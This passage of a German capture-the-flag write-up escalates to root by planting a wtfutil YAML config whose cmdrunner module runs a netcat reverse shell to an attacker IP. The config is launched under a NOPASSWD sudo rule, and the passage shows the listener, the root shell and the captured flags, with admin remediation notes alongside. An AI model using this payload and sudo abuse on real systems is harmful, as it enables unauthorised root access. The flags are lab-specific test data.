[Link: https://github.com/wtfutil/wtf/blob/master/_sample_configs/small_config.yml | Ziel: https://github.com/wtfutil/wtf/blob/master/_sample_configs/small_config.yml]

# Wechsel ins /tmp Verzeichnis
cd /tmp/
# Erstellen der Konfigurationsdatei mit nano
nano test.yml
# Anzeigen des Inhalts der erstellten Datei
cat test.yml
ariel@bind:/tmp$ └─# cat test.yml
wtf:
  grid:
    columns: [20, 20]
    rows: [3, 3]
  refreshInterval: 1
  mods:
    uptime:
      type: cmdrunner
      args: ['-c', 'sh', '192.168.2.199', '4455']
      cmd: "nc"
      enabled: true
      position:
        top: 0
        left: 0
        height: 1
        width: 1
      refreshInterval: 30

**Analyse:** Nach Recherche auf GitHub wird eine Konfigurationsdatei `test.yml` im `/tmp`-Verzeichnis erstellt. Diese Datei definiert ein Modul vom Typ `cmdrunner`. * `type: cmdrunner`: Definiert ein Modul, das externe Befehle ausführt. * `cmd: "nc"`: Der Befehl, der ausgeführt werden soll (Netcat). * `args: ['-c', 'sh', '192.168.2.199', '4455']`: Die Argumente für `nc`. Dies sieht nach einem Versuch aus, eine Reverse Shell zu starten, wobei `-c sh` ungewöhnlich ist (typischer wäre `-e /bin/sh` oder `-e /bin/bash`). Möglicherweise soll `nc` eine Shell (`sh`) starten, die sich dann mit `192.168.2.199` auf Port `4455` verbindet - die Syntax ist aber wahrscheinlich fehlerhaft für eine Standard-Reverse-Shell mit `nc`. Es könnte aber auch sein, dass eine bestimmte `nc`-Version diese Argumente anders interpretiert oder dass `-c sh` dazu führt, dass `nc` selbst eine Shell startet und die IP/Port als Argumente für die Shell missinterpretiert werden. Wahrscheinlicher ist jedoch der Versuch einer Reverse Shell. * `enabled: true`: Aktiviert das Modul. * Die restlichen Optionen (`grid`, `position`, `refreshInterval`) definieren das Layout und die Aktualisierungsrate im `wtfutil`-Dashboard.

**Bewertung:** Die Konfigurationsdatei ist präpariert, um beim Laden durch `wtfutil` (als root) den Befehl `nc` mit spezifischen Argumenten auszuführen, höchstwahrscheinlich mit dem Ziel, eine Reverse Shell zum Angreifer (`192.168.2.199:4455`) aufzubauen.

**Empfehlung (Pentester):** Einen Netcat-Listener auf dem Angreifer-System auf Port `4455` starten (`nc -lvnp 4455`). Dann `sudo /usr/bin/wtfutil --config=/tmp/test.yml` ausführen und auf die eingehende Root-Shell warten. **Empfehlung (Admin):** `sudo`-Regel entfernen. Generell das Ausführen von externen Befehlen durch Anwendungen, die mit erhöhten Rechten laufen, kritisch prüfen.

Ein Netcat-Listener wird auf dem Angreifer-System gestartet.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4455
listening on [any] 4455 ...

**Analyse:** Auf dem Angreifer-System wird ein Netcat-Listener (`nc -lvnp 4455`) gestartet, der auf eingehende Verbindungen auf Port `4455` wartet.

**Bewertung:** Korrekte Vorbereitung zum Empfangen der erwarteten Reverse Shell.

**Empfehlung (Pentester):** Nun den `wtfutil`-Befehl auf dem Zielsystem ausführen. **Empfehlung (Admin):** Keine Aktion erforderlich.

`wtfutil` wird mit der schadhaften Konfigurationsdatei und `sudo` ausgeführt.

ariel@bind:/tmp$ └─# sudo /usr/bin/wtfutil --config=/tmp/test.yml
# (Keine direkte Ausgabe von wtfutil in der Shell, da es eine Terminal-UI startet)
# (Gleichzeitig wird die Verbindung auf dem Listener des Angreifers erwartet)

**Analyse:** Der Befehl `sudo /usr/bin/wtfutil --config=/tmp/test.yml` wird auf dem Zielsystem ausgeführt. Da `ariel` `wtfutil` mit `NOPASSWD` als `root` ausführen darf, wird `wtfutil` mit Root-Rechten gestartet und angewiesen, die Konfigurationsdatei `/tmp/test.yml` zu laden. Das `cmdrunner`-Modul in dieser Datei wird aktiviert und versucht, den `nc`-Befehl (wie in der YAML-Datei definiert) als `root` auszuführen.

**Bewertung:** Der Exploit wird ausgelöst. Wenn der `nc`-Befehl in der YAML-Datei korrekt interpretiert wird, um eine Verbindung zum Listener aufzubauen, sollte nun eine Root-Shell auf dem Angreifer-System eingehen.

**Empfehlung (Pentester):** Den Netcat-Listener auf dem Angreifer-System beobachten. **Empfehlung (Admin):** `sudo`-Regel entfernen.

Die Root-Shell wird auf dem Listener des Angreifers empfangen.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4455
listening on [any] 4455 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.118] 47488
id
uid=0(root) gid=0(root) grupos=0(root)

cd ~
ls
root.txt
cat root.txt
13d5ccd7048766f1e90a08154143939a

**Analyse:** Der Netcat-Listener auf dem Angreifer-System meldet eine eingehende Verbindung vom Ziel (`192.168.2.118`). Befehle werden in dieser neuen Shell ausgeführt: * `id`: Bestätigt, dass die Shell als `root` (UID 0) läuft. * `cd ~`: Wechselt ins Home-Verzeichnis des Root-Benutzers (`/root`). * `ls`: Listet den Inhalt auf und zeigt die Datei `root.txt`. * `cat root.txt`: Liest den Inhalt der `root.txt`-Datei aus - die Root-Flag.

**Bewertung:** **Fantastisch! Privilege Escalation erfolgreich!** Durch den Missbrauch der `sudo`-Regel für `wtfutil` und das Einschleusen einer benutzerdefinierten Konfigurationsdatei konnte eine Root-Shell erlangt und die Root-Flag gelesen werden.

**Empfehlung (Pentester):** Die Root-Flag notieren. Den Bericht abschließen. **Empfehlung (Admin):** **Dringend:** Die `sudo`-Regel für `wtfutil` entfernen. Das System auf mögliche weitere Kompromittierungen untersuchen, die über die Root-Shell erfolgt sein könnten. Die Richtlinien für `sudo`-Berechtigungen überprüfen und verschärfen.

Bestätigung der User-Flag aus der ursprünglichen SCTP-Shell (zur Vervollständigung).

ariel@bind$ (Aus der ursprünglichen Shell, falls noch aktiv) └─# cat user.txt
976d566cdcf81692976c27ab425825ac

**Analyse:** Der Inhalt der `user.txt` wird erneut angezeigt (vermutlich aus den Notizen oder einer noch offenen Shell), um beide Flags für den Abschlussbericht parat zu haben.

**Bewertung:** Bestätigung der User-Flag.

**Empfehlung (Pentester):** Flags im Bericht dokumentieren.

Privilege Escalation erfolgreich abgeschlossen.

Flags

cat /home/ariel/user.txt
976d566cdcf81692976c27ab425825ac
cat /root/root.txt
13d5ccd7048766f1e90a08154143939a